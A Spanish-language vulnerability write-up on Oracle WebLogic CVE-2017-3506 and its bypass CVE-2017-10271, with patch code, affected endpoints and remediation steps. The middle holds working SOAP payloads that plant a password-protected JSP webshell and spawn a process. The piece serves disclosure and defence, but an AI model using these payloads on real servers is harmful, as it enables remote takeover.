
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
En las primeras etapas, los atacantes aprovecharon las vulnerabilidades del componente WLS de WebLogic para lanzar ataques remotos a gran escala contra servidores empresariales. Se comprometieron servidores de una gran cantidad de empresas, y el número de empresas atacadas mostraba una clara tendencia al alza, por lo que se debe prestar gran atención. Entre ellas, CVE-2017-3506 es una vulnerabilidad de ejecución remota de código que explota el componente WLS de Oracle WebLogic; se trata de una vulnerabilidad explotada en la naturaleza sin detalles públicos, y muchas empresas aún no han instalado el parche a tiempo. Oracle publicó el parche para esta vulnerabilidad en abril de 2017.
Explicación del parche CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Solo se agregó una función validate antes de la deserialización; si qName es igual a object, lanza una excepción y termina. Se puede decir que es simple y contundente. Sin embargo, este tipo de corrección mediante listas negras difícilmente logra una reparación completa. Merece una reflexión profunda...
El método de explotación de esta vulnerabilidad es relativamente simple: el atacante solo necesita enviar una solicitud HTTP cuidadosamente construida para obtener los permisos del servidor objetivo, lo que causa un daño enorme. Debido a que la vulnerabilidad es relativamente nueva, todavía existen muchos hosts que no han actualizado los parches correspondientes. Se prevé que tras este incidente repentino, es muy probable que la cantidad de ataques se dispare y que una gran cantidad de hosts nuevos se vean comprometidos.
El parche de abril de Oracle no reparó por completo la vulnerabilidad CVE-2017-3506; se puede omitir el parche y seguir ejecutando comandos remotos. La vulnerabilidad de omisión actual, CVE-2017-10271, fue corregida en el parche de octubre publicado por Oracle.
CVE-2017-10271 (vulnerabilidad de omisión de ejecución remota de comandos en wls-wsat)
Oracle WebLogic Server versión 10.3.6.0.0
Oracle WebLogic Server versión 12.1.3.0.0
Oracle WebLogic Server versión 12.2.1.1.0
Oracle WebLogic Server versión 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Implemente control de acceso sobre los recursos que acceden a wls-wsat.
Solución temporal
Bajo la premisa de no afectar el negocio, y según la ruta del entorno real, elimine los siguientes paquetes war y directorios del programa WebLogic:
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Después de reiniciar el servicio o el sistema WebLogic, confirme si al acceder al siguiente enlace se devuelve 404:
http://ip:port/wls-wsat/CoordinatorPortType11